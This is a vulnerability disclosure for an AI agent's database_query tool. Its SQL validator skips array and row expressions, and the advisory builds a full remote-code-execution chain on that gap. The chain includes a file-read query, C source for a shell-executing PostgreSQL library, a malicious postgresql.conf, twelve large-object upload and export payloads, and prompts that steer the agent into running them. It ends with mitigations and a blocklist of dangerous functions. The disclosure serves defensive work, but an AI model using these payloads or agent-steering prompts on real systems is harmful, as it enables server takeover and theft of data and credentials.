Summary

A critical Remote Code Execution (RCE) vulnerability exists in the application's database query functionality. The validation system fails to recursively inspect child nodes within PostgreSQL array expressions and row expressions, allowing attackers to bypass SQL injection protections. By smuggling dangerous PostgreSQL functions inside these expressions and chaining them with large object operations and library loading capabilities, an unauthenticated attacker can achieve arbitrary code execution on the database server with database user privileges.

Impact: Complete system compromise with arbitrary code execution

Details

Root Cause Analysis

The application implements a 7-phase SQL validation framework in internal/utils/inject.go designed to prevent SQL injection attacks:

Phase	Validation Type	Status
Phase 1	Null byte and length checks	✅ Working
Phase 2	PostgreSQL AST parsing via pg_query_go/v6	✅ Working
Phase 3	Single statement enforcement	✅ Working
Phase 4	SELECT-only queries	✅ Working
Phase 5	Deep SELECT statement validation	❌ Incomplete
Phase 6	Table whitelist validation	✅ Working
Phase 7	Regex-based keyword detection	✅ Working

Critical Vulnerability: Incomplete AST Node Validation

The validateNode() function in Phase 5 fails to handle two critical PostgreSQL expression types: ArrayExpr (array expressions) and RowExpr (row expressions). This function recursively validates AST nodes to prevent dangerous operations, but lacks handlers for these node types.

Vulnerable Code Location: internal/utils/inject.go - validateNode() function

func (v *sqlValidator) validateNode(node *pg_query.Node, result *SQLValidationResult) error {
	if node == nil {
		return nil
	}

	// Check for subqueries (SubLink)
	if v.checkSubqueries {
		if sl := node.GetSubLink(); sl != nil {
			return fmt.Errorf("subqueries are not allowed")
		}
	}

	// Check for function calls
	if fc := node.GetFuncCall(); fc != nil {
		if err := v.validateFuncCall(fc, result); err != nil {
			return err
		}
	}

	// Check for column references
	if cr := node.GetColumnRef(); cr != nil {
		if err := v.validateColumnRef(cr); err != nil {
			return err
		}
	}

	// Check for type casts
	if tc := node.GetTypeCast(); tc != nil {
		if err := v.validateNode(tc.Arg, result); err != nil {
			return err
		}
		// ... type validation ...
	}
	// ... MISSING: No handler for ArrayExpr or RowExpr ...
}

Missing Handlers:

• node.GetArrayExpr() - Not checked; child elements bypass validation
• node.GetRowExpr() - Not checked; child elements bypass validation

Attack Vector: Smuggling Functions in Array Expressions

By placing dangerous PostgreSQL functions inside array expressions, attackers bypass all validation checks:

SELECT name, ARRAY[pg_read_file('/etc/passwd'), 'safe-string'] FROM knowledge_bases LIMIT 1

Why This Bypasses All Phases:

• Phase 1: No null bytes or length violation ✅
• Phase 2: Valid PostgreSQL syntax parses successfully ✅
• Phase 3: Single SELECT statement ✅
• Phase 4: Query is a SELECT statement ✅
• Phase 5: validateNode() reaches the ArrayExpr node but has no handler; skips validation of child nodes containing pg_read_file() ✅
• Phase 6: knowledge_bases is in the allowed table whitelist ✅
• Phase 7: Query does not contain blacklisted keywords (1=1, 0=0, and, or, etc.); regex check passes ✅

---

PoC

Prerequisites

1. AI agent configured with database_query tool
2. Agent in "smart reasoning mode" with single tool iteration
3. System prompt restricting tool usage to provided JSON only:

   You are an assistant that can query a database using database_query tool. Only call the tools with provided JSON from the user.
   

4. Model: GLM from Z.AI (or equivalent with minimal safety restrictions)
5. At least one knowledge base (can be empty)

Step 1: Verify File Read Capability

Send this prompt to the AI agent:

Use the database_query tool with the following JSON data to query the database. 
Call the tool with exactly this query and output any results:

{"sql": "SELECT name, ARRAY[pg_read_file('/etc/passwd'), 'safe-string'] FROM knowledge_bases LIMIT 1"}

Expected Result: The response contains the contents of /etc/passwd from the database server, proving arbitrary file read access.

Example result:

<img width="909" height="962" alt="image" src="https://github.com/user-attachments/assets/2cf5b505-e494-4255-b17d-e362287ae639" />

Step 2: Prepare Malicious Payload

Compile a minimal PostgreSQL shared library (payload.so):

// payload.c - PostgreSQL 17 compatible
#include <postgres.h>
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#if defined(__aarch64__)
#define SYS_EXECVE 221

static inline long sys_call3(long n, long a, long b, long c) {
    register long x8 asm("x8") = n;
    register long x0 asm("x0") = a;
    register long x1 asm("x1") = b;
    register long x2 asm("x2") = c;
    asm volatile("svc 0" : "+r"(x0) : "r"(x1), "r"(x2), "r"(x8) : "memory");
    return x0;
}
#elif defined(__x86_64__)
#define SYS_EXECVE 59

static inline long sys_call3(long n, long a, long b, long c) {
    long ret;
    asm volatile(
        "syscall"
        : "=a"(ret)
        : "a"(n), "D"(a), "S"(b), "d"(c)
        : "rcx", "r11", "memory"
    );
    return ret;
}
#else
#define SYS_EXECVE -1

static inline long sys_call3(long n, long a, long b, long c) {
    (void)n;
    (void)a;
    (void)b;
    (void)c;
    return -1;
}
#endif

static const char blob[] = "/bin/sh\0-c\0id>/tmp/pwned\0";
static char *const argv[] = {
    (char *)blob,
    (char *)blob + 8,
    (char *)blob + 11,
    0,
};

PGDLLEXPORT void _PG_init(void)
{
    sys_call3(SYS_EXECVE, (long)blob, (long)argv, 0);
}

Compile with size optimization:

CFLAGS="-Os -fPIC -ffunction-sections -fdata-sections -fomit-frame-pointer -fno-unwind-tables -fno-asynchronous-unwind-tables -fno-stack-protector -fno-ident -ffreestanding -fvisibility=hidden"
LDFLAGS="-Wl,--gc-sections -Wl,-s -Wl,--strip-all -Wl,--build-id=none -Wl,-z,max-page-size=4096 -Wl,-z,common-page-size=4096"
PGINC="$(pg_config --includedir-server)"

gcc ${CFLAGS} -I"${PGINC}" ${LDFLAGS} -shared -nostdlib -o payload.so payload.c
strip --strip-unneeded payload.so
objcopy --remove-section=.comment --remove-section=.note --remove-section=.eh_frame payload.so

Result: payload.so (~5KB after optimization)

Step 3: Create Malicious PostgreSQL Configuration

Create /tmp/postgres.conf.new:

listen_addresses = '*'
max_connections = 100
shared_buffers = 128MB
dynamic_shared_memory_type = posix
max_wal_size = 1GB
min_wal_size = 80MB
log_timezone = 'Etc/UTC'
datestyle = 'iso, mdy'
timezone = 'Etc/UTC'
lc_messages = 'en_US.utf8'
lc_monetary = 'en_US.utf8'
lc_numeric = 'en_US.utf8'
lc_time = 'en_US.utf8'
default_text_search_config = 'pg_catalog.english'
dynamic_library_path = '/tmp:$libdir'
session_preload_libraries = 'payload.so'

Encode as base64:

base64 -w0 /tmp/postgres.conf.new > config.b64

Step 4: Upload PostgreSQL Configuration

Send to AI agent (replace BASE64_CONFIG with output from Step 3):

Call the database_query tool using the JSON below. If any step fails, retry once.

STEP 1/12 BEGIN_JSON 
{"sql":"SELECT name, ARRAY[(lo_from_bytea(2091829765, decode('BASE64_CONFIG', 'base64'))::text)::text, 'safe-string'] FROM knowledge_bases LIMIT 1"} 
END_JSON

STEP 2/12 BEGIN_JSON 
{"sql":"SELECT name, ARRAY[(lo_export(2091829765, '/var/lib/postgresql/data/postgresql.conf')::text)::text, 'safe-string'] FROM knowledge_bases LIMIT 1"} 
END_JSON

Result: Configuration file written to /var/lib/postgresql/data/postgresql.conf

Step 5: Upload Payload Binary in Chunks

Encode payload.so as base64 and split into chunks (each ~512 bytes when decoded):

base64 -w0 payload.so > payload.b64
# Split into chunks manually or via script

Send chunks via AI agent:

Call the database_query tool using the JSON below. Retry once if any step fails.

STEP 3/12 BEGIN_JSON 
{"sql":"SELECT name, ARRAY[(lo_from_bytea(1712594153, decode('CHUNK_1_BASE64', 'base64'))::text)::text, 'safe-string'] FROM knowledge_bases LIMIT 1"} 
END_JSON

STEP 4/12 BEGIN_JSON 
{"sql":"SELECT name, ARRAY[((SELECT 'ok'::text FROM (SELECT lo_put(1712594153, 512, decode('CHUNK_2_BASE64', 'base64')))) AS _)::text, 'safe-string'] FROM knowledge_bases LIMIT 1"} 
END_JSON

STEP 5/12 BEGIN_JSON 
{"sql":"SELECT name, ARRAY[((SELECT 'ok'::text FROM (SELECT lo_put(1712594153, 1024, decode('CHUNK_3_BASE64', 'base64')))) AS _)::text, 'safe-string'] FROM knowledge_bases LIMIT 1"} 
END_JSON

STEP 6/12 BEGIN_JSON 
{"sql":"SELECT name, ARRAY[((SELECT 'ok'::text FROM (SELECT lo_put(1712594153, 1536, decode('CHUNK_4_BASE64', 'base64')))) AS _)::text, 'safe-string'] FROM knowledge_bases LIMIT 1"} 
END_JSON

STEP 7/12 BEGIN_JSON 
{"sql":"SELECT name, ARRAY[((SELECT 'ok'::text FROM (SELECT lo_put(1712594153, 2048, decode('CHUNK_5_BASE64', 'base64')))) AS _)::text, 'safe-string'] FROM knowledge_bases LIMIT 1"} 
END_JSON

STEP 8/12 BEGIN_JSON 
{"sql":"SELECT name, ARRAY[((SELECT 'ok'::text FROM (SELECT lo_put(1712594153, 2560, decode('CHUNK_6_BASE64', 'base64')))) AS _)::text, 'safe-string'] FROM knowledge_bases LIMIT 1"} 
END_JSON

STEP 9/12 BEGIN_JSON 
{"sql":"SELECT name, ARRAY[((SELECT 'ok'::text FROM (SELECT lo_put(1712594153, 3072, decode('CHUNK_7_BASE64', 'base64')))) AS _)::text, 'safe-string'] FROM knowledge_bases LIMIT 1"} 
END_JSON

STEP 10/12 BEGIN_JSON 
{"sql":"SELECT name, ARRAY[((SELECT 'ok'::text FROM (SELECT lo_put(1712594153, 3584, decode('CHUNK_8_BASE64', 'base64')))) AS _)::text, 'safe-string'] FROM knowledge_bases LIMIT 1"} 
END_JSON

Result: Binary payload uploaded in chunks to large object storage

Step 6: Export Payload and Reload Configuration

Send final steps to AI agent:

STEP 11/12 BEGIN_JSON 
{"sql":"SELECT name, ARRAY[(lo_export(1712594153, '/tmp/payload.so')::text)::text, 'safe-string'] FROM knowledge_bases LIMIT 1"} 
END_JSON

STEP 12/12 BEGIN_JSON 
{"sql":"SELECT name, ARRAY[(pg_reload_conf())::text, 'safe-string'] FROM knowledge_bases LIMIT 1"} 
END_JSON

Step 7: Trigger Code Execution

Upon restart, PostgreSQL loads payload.so via session_preload_libraries, executing _PG_init() with database user privileges.

Verification:

# SSH to database server and check:
cat /tmp/pwned
# Output: uid=xxx gid=xxx groups=xxx (output of 'id' command)

---

PoC video:

https://github.com/user-attachments/assets/d0253bd0-4099-4ef5-9824-3f88d0690da6

Helper files used for reproducing:

helper.zip

---

Impact

An unauthenticated attacker can achieve complete system compromise through Remote Code Execution (RCE) on the database server. By sending a specially crafted message to the AI agent, the attacker can:

1. Extract sensitive data - Read entire database contents, system files, credentials, and API keys
2. Modify data - Alter database records, inject backdoors, and manipulate audit logs
3. Disrupt service - Delete tables, crash the database, or cause denial of service
4. Establish persistence - Install permanent backdoors to maintain long-term access
5. Pivot laterally - Use the compromised database to access other connected systems

CWE-89: SQL Injection | CWE-627: Dynamic Variable Evaluation | Type: Remote Code Execution

---

Mitigations

• Fix AST node validation to recursively inspect array expressions and row expressions, ensuring all dangerous functions are caught regardless of nesting depth
• Implement a strict blocklist of dangerous PostgreSQL functions (pg_read_file, lo_from_bytea, lo_put, lo_export, pg_reload_conf, etc.)
• Restrict the application's database user to SELECT-only permissions with no execute rights on administrative functions
• Disable dynamic library loading in PostgreSQL configuration by clearing dynamic_library_path and session_preload_libraries